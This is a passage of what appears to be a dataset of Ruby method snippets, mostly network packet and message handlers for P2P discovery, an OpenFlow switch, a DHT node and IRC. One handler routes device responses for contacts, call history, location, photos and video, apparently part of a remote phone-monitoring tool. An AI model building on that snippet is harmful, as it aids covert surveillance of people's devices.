#{node} from #{raw_node_id.to_hex}\")\n ip = IPAddr.new(node.ip, Socket::AF_INET)\n address = Address.new(ip: ip, udp_port: node.udp_port, tcp_port: node.tcp_port)\n @peer_store.add_node(Node.new(raw_node_id: raw_id, addresses: [address]))\n # add new discovered node_id\n @kad_table.update(raw_id)\n end\n @kad_table.update(raw_node_id)\n @peer_store.update_last_seen(raw_node_id)\n else\n @peer_store.ban_peer(msg.sender.to_bytes)\n raise UnknownMessageCodeError.new(\"can't handle unknown code in discovery protocol, code: #{msg.packet_type}\")\n end\n rescue StandardError => e\n @peer_store.ban_peer(msg.sender.to_bytes)\n error(\"discovery error: #{e} from address: #{address}\\nbacktrace:#{e.backtrace.join(\"\\n\")}\")\n end", "def handle(msg)\n raise \"The handle() method must be implemented in #{self.class.to_s}\"\n end", "def handle(msg)\n message = Remote::Message.decode(msg)\n assert_type(message)\n call_route(message)\n end", "def handle_message(data)\n if @encoding == :etf\n handle_etf_message(data)\n else\n handle_json_message(data)\n end\n end", "def handle(data)\n\t\t\t\tprocess_line(data)\n\t\t\tend", "def packet_in datapath_id, message\n match = ExactMatch.from( message )\n action, log = lookup_rules( datapath_id, match )\n info \"action=#{ action }, datapath_id=#{ datapath_id.to_hex }, message={#{ match.to_s }}\" if log\n if action == :allow\n #set rules in the switch\n #please fill up the following blank ****** user input from here ******\n send_flow_mod_add( datapath_id,\n :match => match,\n :idle_timeout => 300,\n :hard_timeout => 300,\n :actions => ActionOutput.new( (match.in_port == 1)? 2 : 1 )\n )\n #set rules in the switch for reverse path\n #please fill up the following blank ****** user input from here ******\n # reverse flow has the same attributes, but with source/destination\n # swapped\n reverse_match = Match.new(\n :in_port => (match.in_port == 1)? 2 : 1,\n :dl_src => match.dl_dst, # swapping source and dest\n :dl_dst => match.dl_src, # MAC addresses\n :dl_type => match.dl_type,\n :dl_vlan => match.dl_vlan,\n :dl_vlan_pcp => match.dl_vlan_pcp,\n :nw_tos => match.nw_tos,\n :nw_proto => match.nw_proto,\n :nw_src => match.nw_dst, # swapping source and dest\n :nw_dst => match.nw_src, # IP addresses\n :tp_src => match.tp_dst, # swapping source and dest\n :tp_dst => match.tp_src # TCP ports\n )\n info \"reverse flow: {#{ reverse_match.to_s }}\"\n send_flow_mod_add( datapath_id,\n :match => reverse_match,\n :idle_timeout => 300,\n :hard_timeout => 300,\n :actions => ActionOutput.new( (reverse_match.in_port == 1)? 2 : 1 )\n )\n else \n #set drop rule in the switch\n #please fill up the following blank ****** user input from here ******\n send_flow_mod_add( datapath_id,\n :match => match,\n :idle_timeout => 300,\n :hard_timeout => 300\n )\n end\n end", "def handle_request(socket, request_type, request_args)\n raise 'not implemented'\n end", "def decode(packet)\n proc.call packet\n end", "def receive\n raise NotImplementedError\n end", "def receive(data, addrinfo)\n found = search_node extract_ip addrinfo\n packet = Net::Packet.parse(data)\n\n if not found\n if packet.is_helo?\n new_node(addrinfo)\n else\n raise Errors::CraftedMessageError, \"Crafted message got from addrinfo=#{addrinfo}\"\n end\n else\n if packet.is_bye?\n remove_node found.ip\n elsif packet.is_name? \n found.username = packet.payload\n elsif packet.is_state?\n found.state = packet.payload\n elsif packet.is_msg?\n ui.received(found, packet.payload)\n else\n raise Errors::CraftedMessageError, \"Crafted message got from addrinfo=#{addrinfo}\"\n end\n \n end\n end", "def handle_msg msg\n throw Exception(\"handle_msg must be implemented\")\n end", "def process_device_incoming_message(device_id)\n command_name = @json['command']['name']\n p command_name\n case command_name\n when CONNECT_REQUEST then\n process_device_connect_request(device_id)\n when DEVICE_GET_CONTACTS_RESPONSE then\n process_device_device_get_contacts_response(device_id)\n when DEVICE_GET_CALL_HISTORY_RESPONSE then\n process_device_device_get_call_history_response(device_id)\n when DEVICE_GET_LOCATION_RESPONSE then\n process_device_device_get_location_response(device_id)\n when DEVICE_TAKE_PHOTO_RESPONSE then\n process_device_device_take_photo_response(device_id)\n when DEVICE_RECORD_VIDEO_RESPONSE then\n process_device_device_record_video_response(device_id)\n end\n end", "def process_data\n begin\n data = ::ActiveSupport::HashWithIndifferentAccess.new(JSON.parse(received_data))\n packet = ::Syncano::Packets::Base.instantize_packet(data)\n\n if packet.notification?\n notification = ::Syncano::Resources::Notifications::Base.instantize_notification(client, packet)\n\n callbacks_queue.each do |callback_name|\n callbacks[callback_name].call(notification)\n end\n elsif packet.call_response?\n queue_response(packet)\n elsif packet.auth?\n queue_response(packet)\n end\n\n self.received_data = ''\n rescue Exception => e\n p 'EXCEPTION!'\n p e.inspect\n end\n end", "def receiving(data); end", "def receiving(data); end", "def packet_call(packet)\n packet['route.router'] = orange[:not_found] unless packet['route.router']\n begin\n pass packet\n rescue Orange::NotFoundException\n orange[:not_found].route(packet)\n packet.finish\n end\n end", "def handle(event, klass, attributes)\n # TODO: Remove the following line after grove has been deployed. This skips old messages\n # with no processing.\n return unless ['access_group', 'access_group_membership', 'access_group_subtree'].include?(klass)\n\n event_handler = @handlers[klass.to_sym][event.to_sym]\n return unless event_handler\n case klass\n when 'access_group'\n event_handler.call(:id => attributes['id'], :label => attributes['label'])\n when 'access_group_membership'\n event_handler.call(:access_group_id => attributes['access_group_id'],\n :identity_id => attributes['identity_id'])\n when 'access_group_subtree'\n event_handler.call(:access_group_id => attributes['access_group_id'],\n :location => attributes['location'])\n end\n end", "def handle_arbitrary(msg)\n\t@raw_data = msg.dup()\n\tarbitrary(msg)\n end", "def packets_handler(id, data, channel)\n\t# show who sent the packet, the data inside and the channel used\n\tputs \"packet from [peer #{id}] -> [#{data}] - [#{channel}]\" \n\t# answer sending the same data to the client (client ID, data, reliable or not, channel ID)\n\[email protected]_packet(id, data, true, channel)\nend", "def handle(msg)\n msg_obj = Octo::Message::Message.new(msg)\n msg = msg_obj.to_h\n begin\n eventName = msg[:event_name]\n if (valid_events.include?eventName)\n call_hooks(eventName, msg)\n end\n rescue Exception => e \n puts e.message\n puts e.backtrace.inspect\n end\n end", "def send_packet(payload); end", "def respond(received)\n case received['type']\n\n when 'JOINING_NETWORK'\n puts('JOINING_NETWORK')\n\n # Reply with ROUTING_INFO\n @socket.send @msg.ROUTING_INFO(@id, received['node_id'], @port , @rt.getRoutingTableToSend(@port)), 0, '127.0.0.1', received['ip_address']\n\n # Put joining node in routing table\n @rt.updateRoutingTable(received['node_id'], received['ip_address'])\n\n # If there is a node closer to target in routing table forward JOINING_NETWORK_RELAY\n if @rt.routing_table.length > 0\n closest_node_ip = @rt.findCloserNode(received['target_id'], received['node_id'])\n if closest_node_ip != nil\n @socket.send @msg.JOINING_NETWORK_RELAY(received['node_id'], received['target_id'], @id), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'JOINING_NETWORK_RELAY'\n puts('JOINING_NETWORK_RELAY')\n\n # If not target, forward JOINING_NETWORK_RELAY to closer node\n if received['node_id'] != @id\n closest_node_ip = @rt.findCloserNode(received['target_id'], received['node_id'])\n if !closest_node_ip.nil?\n @socket.send @msg.JOINING_NETWORK_RELAY(received['node_id'], received['target_id'], received['gateway_id']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n # Send ROUTING_INFO to gateway node\n closest_node_ip = @rt.findCloserNode(received['gateway_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.ROUTING_INFO(received['gateway_id'], received['node_id'], @port, @rt.getRoutingTableToSend(@port)), 0, '127.0.0.1', closest_node_ip\n end\n\n when 'ROUTING_INFO'\n puts('ROUTING_INFO')\n\n # Store received routing info\n received['route_table'].each do |x|\n @rt.updateRoutingTable(x['node_id'], x['ip_address'])\n end\n\n # If this is the gateway node forward ROUTING_INFO to joining node\n if received['gateway_id'] == @id\n joining_ip = @rt.routing_table.detect{|x| x[:node_id] == received['node_id']}[:ip_address]\n @socket.send @msg.ROUTING_INFO(@id, received['node_id'], @port, received['route_table']), 0, '127.0.0.1', joining_ip\n end\n\n # If message not intended for this node send it closer to target\n if received['node_id'] != @id\n closest_node_ip = @rt.findCloserNode(received['gateway_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.ROUTING_INFO(received['gateway_id'], received['node_id'], @port, received['route_table']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'LEAVING_NETWORK'\n puts('LEAVING_NETWORK')\n @rt.deleteRoutingTableEntry(received['node_id']) # Delete leaving node from routing table\n\n when 'INDEX'\n puts('INDEX')\n\n # If message is intended for this node\n if received['target_id'] == @id\n\n # Store new index\n @index.addIndex(received['keyword'], received['link'])\n\n # Respond with ACK_INDEX\n closest_node_ip = @rt.findCloserNode(received['sender_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.ACK_INDEX(received['sender_id'], received['keyword']), 0, '127.0.0.1', closest_node_ip\n end\n\n # If message not for this node, send closer to target\n else\n closest_node_ip = @rt.findCloserNode(received['target_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.INDEX(received['target_id'], received['sender_id'], received['keyword'], received['link']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'SEARCH'\n puts('SEARCH')\n\n # If message is intended for this node ger results and send SEARCH_RESPONSE\n if received['node_id'] == @id\n closest_node_ip = @rt.findCloserNode(received['sender_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.SEARCH_RESPONSE(received['word'], received['sender_id'], @id, @index.getKeywordIndexes(received['word'].to_s)), 0, '127.0.0.1', closest_node_ip\n end\n\n # If message not for this node, send closer to target\n else\n closest_node_ip = @rt.findCloserNode(received['node_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.SEARCH(received['word'], received['node_id'], received['sender_id']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'SEARCH_RESPONSE'\n puts('SEARCH_RESPONSE')\n\n # If message is intended for this node\n if received['node_id'] == @id\n\n received['response'].each do |x|\n result = SearchResult.new(received['word'], x['url'], x['rank'])\n ap result\n end\n\n # If message is not intended for this node, send closer to target\n else\n closest_node_ip = @rt.findCloserNode(received['node_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.SEARCH_RESPONSE(received['word'], received['node_id'], received['sender_id'], received['response']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'PING'\n puts('PING')\n\n # Respond with ACK\n @socket.send @msg.ACK(received['target_id'], @port), 0, '127.0.0.1', received['ip_address']\n\n # Send PING to next node if not final target\n if received['target_id'] != @id\n\n # Send closer to target\n closest_node_ip = @rt.findCloserNode(received['target_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.PING(received['target_id'], received['sender_id'], @port), 0, '127.0.0.1', closest_node_ip\n @pinged_ip = closest_node_ip\n\n # Wait up to 10s for ACK\n time = Time.now\n while Time.now - time < 10 && !@ack_received\n end\n\n # If no ACK received delete node from routing table\n if !@ack_received\n @rt.deleteRoutingTableEntry(@rt.routing_table.detect{|x| x[:ip_address == closest_node_ip]}[:node_id]) # Delete from routing table\n else\n @ack_received = false # If ACK received reset value to false\n end\n end\n end\n\n when 'ACK'\n puts('ACK')\n\n if received['ip_address'] == @pinged_ip # If ACK is from expected node\n @ack_received = true # Indicate that ACK has been received\n end\n\n when 'ACK_INDEX'\n puts('ACK_INDEX')\n\n # If message is intended for this node\n if received['node_id'] == @id\n @ack_index_received = true # Indicate that ACK_INDEX has been received\n\n # If message not intended for this node, send closer to target\n else\n closest_node_ip = @rt.findCloserNode(received['node_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.ACK_INDEX(received['node_id'], received['keyword']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n end\n end", "def process(packet:, target:, agg_packet:, simple_packet:) \n agg_pkt = System.telemetry.packet(target, agg_packet)\n if(agg_pkt.identify?(packet.buffer))\n processor = AggregatePacketProcesser.new(packet_mapper, transforms)\n agg_pkt.buffer = packet.buffer.clone\n result = processor.unpack(agg_pkt, target, simple_packet)\n\n @derived_queue.concat(result)\n end\n return packet\n end", "def handle\n puts \"***************************\"\n puts \"HANDLING EVENT: #{@event.inspect}\"\n puts \"***************************\"\n\n # Pass event off to handlers based on event name/title\n if @event.title == \"Out of range\"\n DeviceOutOfRangeHandler.new(@event).handle\n elsif @event.title == \"In Range\"\n DeviceWithinRangeHandler.new(@event).handle\n end\n end", "def do_recv()\n data = super()\n message = Hurricane::Message.new()\n message.type = data.data[0].name\n message.destination = data.data[1]\n message.tag = data.data[2]\n message.data = data.data[3]\n message\n end", "def receive_data data\n @buf.extract(data).each do |packet|\n begin\n request = JSON::parse(packet)\n log.debug { request }\n case request['method']\n when \"relay_tx\"\n return handle_relay_tx(request, *request['params'])\n when \"monitor\"\n respond(request, handle_monitor(request, *request['params']))\n else\n if respond_to?(\"handle_#{request['method']}\")\n respond(request, send(\"handle_#{request['method']}\", *request['params']))\n else\n respond(request, { error: \"unknown command: #{request['method']}. send 'help' for help.\" })\n end\n end\n rescue\n respond(request, { error: $!.message })\n end\n end\n rescue Exception\n p $!; puts *$@\n end", "def dispatch_inbound_packet(packet, client = nil)\n\t\thandled = false\n\n\t\t# If no client context was provided, return self as PacketDispatcher\n\t\t# is a mixin for the Client instance\n\t\tif (client == nil)\n\t\t\tclient = self\n\t\tend\n\n\t\t#puts \"Inbound packet: rid=#{packet.rid} method=#{packet.method}\\n\"\n\n\t\t# If the packet is a response, try to notify any potential\n\t\t# waiters\n\t\tif ((resp = packet.response?))\n\t\t\tif (notify_response_waiter(packet))\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\n\t\t# Enumerate all of the inbound packet handlers until one handles\n\t\t# the packet\n\t\t@inbound_handlers.each { |handler|\n\n\t\t\tif (!resp)\n\t\t\t\thandled = handler.request_handler(client, packet)\n\t\t\telse\n\t\t\t\thandled = handler.response_handler(client, packet)\n\t\t\tend\n\n\t\t\tif (handled)\n\t\t\t\tbreak\n\t\t\tend\n\t\t}\n\n\t\treturn handled\n\tend", "def on_incoming_message(msg)\n type = msg.operation\n debug \"(#{id}) Deliver message '#{type}': #{msg.inspect}\"\n htypes = [type, :message]\n if type == :inform\n # TODO keep converting itype is painful, need to solve this.\n if (it = msg.itype(:ruby)) # format itype as lower case string\n case it\n when \"creation_ok\"\n htypes << :create_succeeded\n when 'status'\n htypes << :inform_status\n end\n\n htypes << it.to_sym\n end\n end\n\n debug \"(#{id}) Message type '#{htypes.inspect}' (#{msg.class}:#{msg.cid})\"\n hs = htypes.map { |ht| (@handlers[ht] || {}).values }.compact.flatten\n debug \"(#{id}) Distributing message to '#{hs.inspect}'\"\n hs.each do |block|\n block.call msg\n end\n if cbk = @context2cbk[msg.cid.to_s]\n debug \"(#{id}) Distributing message to '#{cbk.inspect}'\"\n cbk[:last_used] = Time.now\n cbk[:block].call(msg)\n end\n end", "def parse_handle_packet(packet)\n { :handle => packet.read_string }\n end", "def receive(data); end", "def receive_data(data)\n handle(data)\n end", "def handle_event(event)\n if event.is_a? CommandMessage\n handle_command(event)\n elsif event.is_a? LoginMessage\n player_data = @database.check_password(event.username, event.password)\n if player_data\n puts \"#{player_data[:username]} logs in\"\n body = @world.find_player(event.username) || @world.instantiate_player(event.username)\n p \"#{event.username} is at #{body.location.persistence_key}\"\n response = Response.new\n response.handled = true\n response.message = body.location.long\n response.body = body\n return response\n else\n response = Response.new\n response.handled = true\n response.message = \"Incorrect password\"\n response.quit = true\n return response\n end\n elsif event.is_a? HeartbeatMessage\n @world.heartbeat\n elsif event.is_a? PersistMessage\n return @world.persist\n elsif event.is_a? ResetMessage\n return @world.reset\n else\n puts \"Unhandled event #{event}\"\n Response.new\n end\n end", "def process_hook\n fail 'child class to implement'\n end", "def handle_messages(&handler)\n raise NotImplementedError\n end", "def process()\n\n\t\tputs 'OK:ft:Got raw-bytes-signal from Trigger '\n\n\t\tSssSEMapp.oIOframeHandler.writeRawBytes(@sBuffer)\n\n\t\t# clear buffer and return self\n\t\tsuper()\n\n\tend", "def receiveInfo(i, c)\n raise \"AbstractPlayer is an abstract class\"\n end", "def handle(context)\n \n # Notify all connection listeners by calling their on_server_response method.\n super(context)\n \n # Notify all connection listeners by calling their on_private_message method.\n notify(context) do |connection_listener| \n connection_listener.on_private_message(context, IRC::Models::Channel.is_valid?(target) ? context.lookup_channel(target) : context.lookup_user(target), text)\n end\n\n end", "def handle(event)\n raise NotImplementedError\n end", "def dispatch_incoming_packets(raise_disconnect_errors: T.unsafe(nil)); end", "def receive_request(packet)\n RightLinkLog.debug(\"RECV #{packet.to_s}\")\n case packet\n when Request, Push\n RightLinkLog.info(\"RECV #{packet.to_s([:from, :tags])}\") unless RightLinkLog.level == :debug\n @dispatcher.dispatch(packet)\n else\n RightLinkLog.error(\"Agent #{@identity} received invalid request packet: #{packet.to_s}\")\n end\n true\n end", "def push(packet); end", "def on_bytes(ev)\n\t\tclient = @clients[ev.src_addr]\n\t\t# client can only be 0 if it's a connect packet\n\t\tpost_event bytes_to_event(client,ev.bytes)\n\tend", "def on_message(raw_event, _sentry_span)\n Rails.logger.debug { \"#{Time.zone.now.getutc.inspect}: Receiving from #{@socket.url}: #{raw_event.data.inspect}\" }\n event = decode(raw_event.data)\n return unless BACKEND_OUTPUT_SCHEMA.valid?(event)\n\n event = event.deep_symbolize_keys\n message_type = event[:type].to_sym\n if WEBSOCKET_MESSAGE_TYPES.include?(message_type)\n __send__(\"handle_#{message_type}\", event)\n else\n @error = Runner::Error::UnexpectedResponse.new(\"Unknown WebSocket message type: #{message_type}\")\n close(:error)\n end\n end", "def handle(_request)\n fail NotImplementedError\n end", "def handle_message(message, ip, transport)\n payload = message.payload\n\n @message_hooks[payload.class].each do |hook|\n hook.call(payload)\n end\n @message_signal.broadcast\n end", "def handle\n case event_key\n when 'specialdeal'\n # it simulate an exchange with the special deal keyword\n SmartExchange::Process.new(user, 'special deal').perform\n when 'offers'\n # it simulate an exchange with the offers keyword\n SmartExchange::Process.new(user, '奖励').perform\n when 'groupchat'\n messenger.image! path: '/images/wechat/group.jpg'\n when 'chatsale'\n messenger.text! data(:chatsale)\n messenger.image! path: '/images/wechat/wechat_support_qr.jpg'\n when 'support'\n # it simulate an exchange with the support keyword\n SmartExchange::Process.new(user, '客服').perform\n when 'ping'\n messenger.text! data(:ping)\n end\n\n return_with(:success)\n end", "def handle_input(input)\n return \"Invalid input\" unless self.respond_to? input\n self.send input\n end", "def handle_messages!\n self.logger.debug { \"Starting message handler.\" }\n \n loop do\n message = nil\n\n # reads data\n self.logger.debug { \"Waiting for messages.\" }\n message = self.protocol.wait_interaction!\n \n # if nil data arrived, it means termination\n if message.nil?\n break\n end\n \n self.logger.debug { \"Message of type '#{message.type}' received.\" }\n\n # calls processing method according to incoming message\n case message.type.to_sym\n when :order\n self.handle_order(message)\n end\n \n end\n \n self.logger.debug { \"Message handler terminated.\" }\n end", "def handle(msg)\n Globot.logger.debug \"--> [#{msg.type}#{msg.person.nil? ? '' : ' / ' + msg.person.name}] #{msg.raw}\"\n @active.each { |p| p.handle(msg) }\n end", "def dispatch_request(packet)\n id = packet.read_long\n request = pending_requests.delete(id) or raise Net::SFTP::Exception, \"no such request `#{id}'\"\n request.respond_to(packet)\n end", "def handle_tcp_input\n while line = @ref_client.gets\n input = self.parse_command(line)\n #Match on command and perform actions\n case input[:command]\n when \"round\"\n #Add a new round to the rounds array when a round starts\n if input[:value][0] == \"start\"\n @rounds.push({\n \"results\": {},\n \"moves\": [],\n \"info\": input[:value][1]\n })\n end\n when \"roundresult\"\n @rounds.last[:results][input[:value][0]] = {\n \"result\": input[:value][1],\n \"score\": input[:value][2]\n }\n when \"matchresult\"\n @match[input[:value][0]] = {\n \"result\": input[:value][1],\n \"score\": input[:value][2]\n }\n when \"move\"\n # Add move to current round\n @rounds.last[:moves].push({\n \"description\": input[:value][0],\n \"data\": input[:value][1]\n })\n when \"gamestate\"\n #Ignore game state \n lastmove = @rounds.last[:moves].last\n #Ignore game state if there aren't any moves\n if lastmove.nil?\n break\n end\n lastmove[:gamestate] = input[:value]\n end\n end\n @status[:error] = false\n end", "def process_message(msg)\n if msg =~ /^<<</\n handle_commands(msg)\n elsif msg =~ /^@\\S+/\n handle_pm(msg)\n elsif msg =~ /^\\\\/\n @server.forward(msg, self)\n else\n handle_chat_msg(msg)\n end\n end", "def dispatch(msg)\n case msg.command\n when LINK_ESTABLISHING\n ret=on_link_establishing(msg)\n when LINK_ESTABLISHED\n ret=on_link_established(msg)\n when LINK_FAILED\n ret=on_link_failed(msg)\n when LINK_CLOSING\n ret=on_link_closing(msg)\n when LINK_CLOSED\n ret=on_link_closed(msg)\n when RECV_MESSAGE\n ret=on_recv_message(msg)\n when RECV_MESSAGE_BROKEN\n ret=on_recv_message_broken(msg)\n when RECV_MESSAGE_KILL\n ret=on_recv_message_kill(msg)\n when RECV_MESSAGE_PING\n ret=on_recv_message_ping(msg)\n when RECV_MESSAGE_PONG\n ret=on_recv_message_pong(msg)\n when RECV_MESSAGE_ERROR\n ret=on_recv_message_error(msg)\n when RECV_MESSAGE_NOTICE\n ret=on_recv_message_notice(msg)\n when RECV_RPL_INIT\n ret=on_recv_rpl_init(msg)\n when RECV_RPL_TRACELINK\n ret=on_recv_rpl_tracelink(msg)\n when RECV_RPL_TRACECONNECTING\n ret=on_recv_rpl_traceconnecting(msg)\n when RECV_RPL_TRACEHANDSHAKE\n ret=on_recv_rpl_tracehandshake(msg)\n when RECV_RPL_TRACEUNKNOWN\n ret=on_recv_rpl_traceunknown(msg)\n when RECV_RPL_TRACEOPERATOR\n ret=on_recv_rpl_traceoperator(msg)\n when RECV_RPL_TRACEUSER\n ret=on_recv_rpl_traceuser(msg)\n when RECV_RPL_TRACESERVER\n ret=on_recv_rpl_traceserver(msg)\n when RECV_RPL_TRACENEWTYPE\n ret=on_recv_rpl_tracenewtype(msg)\n when RECV_RPL_STATSLINKINF\n ret=on_recv_rpl_statslinkinf(msg)\n when RECV_RPL_STATSCOMMANDS\n ret=on_recv_rpl_statscommands(msg)\n when RECV_RPL_STATSCLINE\n ret=on_recv_rpl_statscline(msg)\n when RECV_RPL_STATSNLINE\n ret=on_recv_rpl_statsnline(msg)\n when RECV_RPL_STATSILINE\n ret=on_recv_rpl_statsiline(msg)\n when RECV_RPL_STATSKLINE\n ret=on_recv_rpl_statskline(msg)\n when RECV_RPL_STATSYLINE\n ret=on_recv_rpl_statsyline(msg)\n when RECV_RPL_ENDOFSTATS\n ret=on_recv_rpl_endofstats(msg)\n when RECV_RPL_UMODEIS\n ret=on_recv_rpl_umodeis(msg)\n when RECV_RPL_STATSLLINE\n ret=on_recv_rpl_statslline(msg)\n when RECV_RPL_STATSUPTIME\n ret=on_recv_rpl_statsuptime(msg)\n when RECV_RPL_STATSOLINE\n ret=on_recv_rpl_statsoline(msg)\n when RECV_RPL_STATSHLINE\n ret=on_recv_rpl_statshline(msg)\n when RECV_RPL_LUSERCLIENT\n ret=on_recv_rpl_luserclient(msg)\n when RECV_RPL_LUSEROP\n ret=on_recv_rpl_luserop(msg)\n when RECV_RPL_LUSERUNKNOWN\n ret=on_recv_rpl_luserunknown(msg)\n when RECV_RPL_LUSERCHANNELS\n ret=on_recv_rpl_luserchannels(msg)\n when RECV_RPL_LUSERME\n ret=on_recv_rpl_luserme(msg)\n when RECV_RPL_ADMINME\n ret=on_recv_rpl_adminme(msg)\n when RECV_RPL_ADMINLOC1\n ret=on_recv_rpl_adminloc1(msg)\n when RECV_RPL_ADMINLOC2\n ret=on_recv_rpl_adminloc2(msg)\n when RECV_RPL_ADMINEMAIL\n ret=on_recv_rpl_adminemail(msg)\n when RECV_RPL_TRACELOG\n ret=on_recv_rpl_tracelog(msg)\n when RECV_RPL_NONE\n ret=on_recv_rpl_none(msg)\n when RECV_RPL_AWAY\n ret=on_recv_rpl_away(msg)\n when RECV_RPL_USERHOST\n ret=on_recv_rpl_userhost(msg)\n when RECV_RPL_ISON\n ret=on_recv_rpl_ison(msg)\n when RECV_RPL_UNAWAY\n ret=on_recv_rpl_unaway(msg)\n when RECV_RPL_NOWAWAY\n ret=on_recv_rpl_nowaway(msg)\n when RECV_RPL_WHOISUSER\n ret=on_recv_rpl_whoisuser(msg)\n when RECV_RPL_WHOISSERVER\n ret=on_recv_rpl_whoisserver(msg)\n when RECV_RPL_WHOISOPERATOR\n ret=on_recv_rpl_whoisoperator(msg)\n when RECV_RPL_WHOWASUSER\n ret=on_recv_rpl_whowasuser(msg)\n when RECV_RPL_ENDOFWHO\n ret=on_recv_rpl_endofwho(msg)\n when RECV_RPL_WHOISIDLE\n ret=on_recv_rpl_whoisidle(msg)\n when RECV_RPL_ENDOFWHOIS\n ret=on_recv_rpl_endofwhois(msg)\n when RECV_RPL_WHOISCHANNELS\n ret=on_recv_rpl_whoischannels(msg)\n when RECV_RPL_LISTSTART\n ret=on_recv_rpl_liststart(msg)\n when RECV_RPL_LIST\n ret=on_recv_rpl_list(msg)\n when RECV_RPL_LISTEND\n ret=on_recv_rpl_listend(msg)\n when RECV_RPL_CHANNELMODEIS\n ret=on_recv_rpl_channelmodeis(msg)\n when RECV_RPL_NOTOPIC\n ret=on_recv_rpl_notopic(msg)\n when RECV_RPL_TOPIC\n ret=on_recv_rpl_topic(msg)\n when RECV_RPL_INVITING\n ret=on_recv_rpl_inviting(msg)\n when RECV_RPL_SUMMONING\n ret=on_recv_rpl_summoning(msg)\n when RECV_RPL_VERSION\n ret=on_recv_rpl_version(msg)\n when RECV_RPL_WHOREPLY\n ret=on_recv_rpl_whoreply(msg)\n when RECV_RPL_NAMREPLY\n ret=on_recv_rpl_namreply(msg)\n when RECV_RPL_LINKS\n ret=on_recv_rpl_links(msg)\n when RECV_RPL_ENDOFLINKS\n ret=on_recv_rpl_endoflinks(msg)\n when RECV_RPL_ENDOFNAME\n ret=on_recv_rpl_endofname(msg)\n when RECV_RPL_BANLIST\n ret=on_recv_rpl_banlist(msg)\n when RECV_RPL_ENDOFBANLIST\n ret=on_recv_rpl_endofbanlist(msg)\n when RECV_RPL_ENDOFWHOWAS\n ret=on_recv_rpl_endofwhowas(msg)\n when RECV_RPL_INFO\n ret=on_recv_rpl_info(msg)\n when RECV_RPL_MOTD\n ret=on_recv_rpl_motd(msg)\n when RECV_RPL_ENDOFINFO\n ret=on_recv_rpl_endofinfo(msg)\n when RECV_RPL_MOTDSTART\n ret=on_recv_rpl_motdstart(msg)\n when RECV_RPL_ENDOFMOTD\n ret=on_recv_rpl_endofmotd(msg)\n when RECV_RPL_YOUREOPER\n ret=on_recv_rpl_youreoper(msg)\n when RECV_RPL_REHASHING\n ret=on_recv_rpl_rehashing(msg)\n when RECV_RPL_TIME\n ret=on_recv_rpl_time(msg)\n when RECV_RPL_USERS\n ret=on_recv_rpl_users(msg)\n when RECV_RPL_ENDOFUSERS\n ret=on_recv_rpl_endofusers(msg)\n when RECV_RPL_NOUSERS\n ret=on_recv_rpl_nousers(msg)\n when RECV_ERR_NOSUCHNICK\n ret=on_recv_err_nosuchnick(msg)\n when RECV_ERR_NOSUCHSERVE\n ret=on_recv_err_nosuchserve(msg)\n when RECV_ERR_NOSUCHCHANNEL\n ret=on_recv_err_nosuchchannel(msg)\n when RECV_ERR_CANNOTSENDTOCHAN\n ret=on_recv_err_cannotsendtochan(msg)\n when RECV_ERR_TOOMANYCHANNELS\n ret=on_recv_err_toomanychannels(msg)\n when RECV_ERR_WASNOSUCHNICK\n ret=on_recv_err_wasnosuchnick(msg)\n when RECV_ERR_TOOMANYTARGETS\n ret=on_recv_err_toomanytargets(msg)\n when RECV_ERR_NOORIGIN\n ret=on_recv_err_noorigin(msg)\n when RECV_ERR_NORECIPIENT\n ret=on_recv_err_norecipient(msg)\n when RECV_ERR_NOTEXTTOSEND\n ret=on_recv_err_notexttosend(msg)\n when RECV_ERR_NOTOPLEVE\n ret=on_recv_err_notopleve(msg)\n when RECV_ERR_WILDTOPLEVEL\n ret=on_recv_err_wildtoplevel(msg)\n when RECV_ERR_UNKNOWNCOMMAND\n ret=on_recv_err_unknowncommand(msg)\n when RECV_ERR_NOMOTD\n ret=on_recv_err_nomotd(msg)\n when RECV_ERR_NOADMININFO\n ret=on_recv_err_noadmininfo(msg)\n when RECV_ERR_FILEERROR\n ret=on_recv_err_fileerror(msg)\n when RECV_ERR_NONICKNAMEGIVEN\n ret=on_recv_err_nonicknamegiven(msg)\n when RECV_ERR_ERRONEUSNICKNAME\n ret=on_recv_err_erroneusnickname(msg)\n when RECV_ERR_NICKNAMEINUSE\n ret=on_recv_err_nicknameinuse(msg)\n when RECV_ERR_NICKCOLLISION\n ret=on_recv_err_nickcollision(msg)\n when RECV_ERR_USERNOTINCHANNEL\n ret=on_recv_err_usernotinchannel(msg)\n when RECV_ERR_NOTONCHANNE\n ret=on_recv_err_notonchanne(msg)\n when RECV_ERR_USERONCHANNEL\n ret=on_recv_err_useronchannel(msg)\n when RECV_ERR_NOLOGIN\n ret=on_recv_err_nologin(msg)\n when RECV_ERR_SUMMONDISABLED\n ret=on_recv_err_summondisabled(msg)\n when RECV_ERR_USERSDISABLED\n ret=on_recv_err_usersdisabled(msg)\n when RECV_ERR_NOTREGISTERED\n ret=on_recv_err_notregistered(msg)\n when RECV_ERR_NEEDMOREPARAM\n ret=on_recv_err_needmoreparam(msg)\n when RECV_ERR_ALREADYREGISTRE\n ret=on_recv_err_alreadyregistre(msg)\n when RECV_ERR_NOPERMFORHOST\n ret=on_recv_err_nopermforhost(msg)\n when RECV_ERR_PASSWDMISMATCH\n ret=on_recv_err_passwdmismatch(msg)\n when RECV_ERR_YOUREBANNEDCREEP\n ret=on_recv_err_yourebannedcreep(msg)\n when RECV_ERR_KEYSET\n ret=on_recv_err_keyset(msg)\n when RECV_ERR_CHANNELISFULL\n ret=on_recv_err_channelisfull(msg)\n when RECV_ERR_UNKNOWNMODE\n ret=on_recv_err_unknownmode(msg)\n when 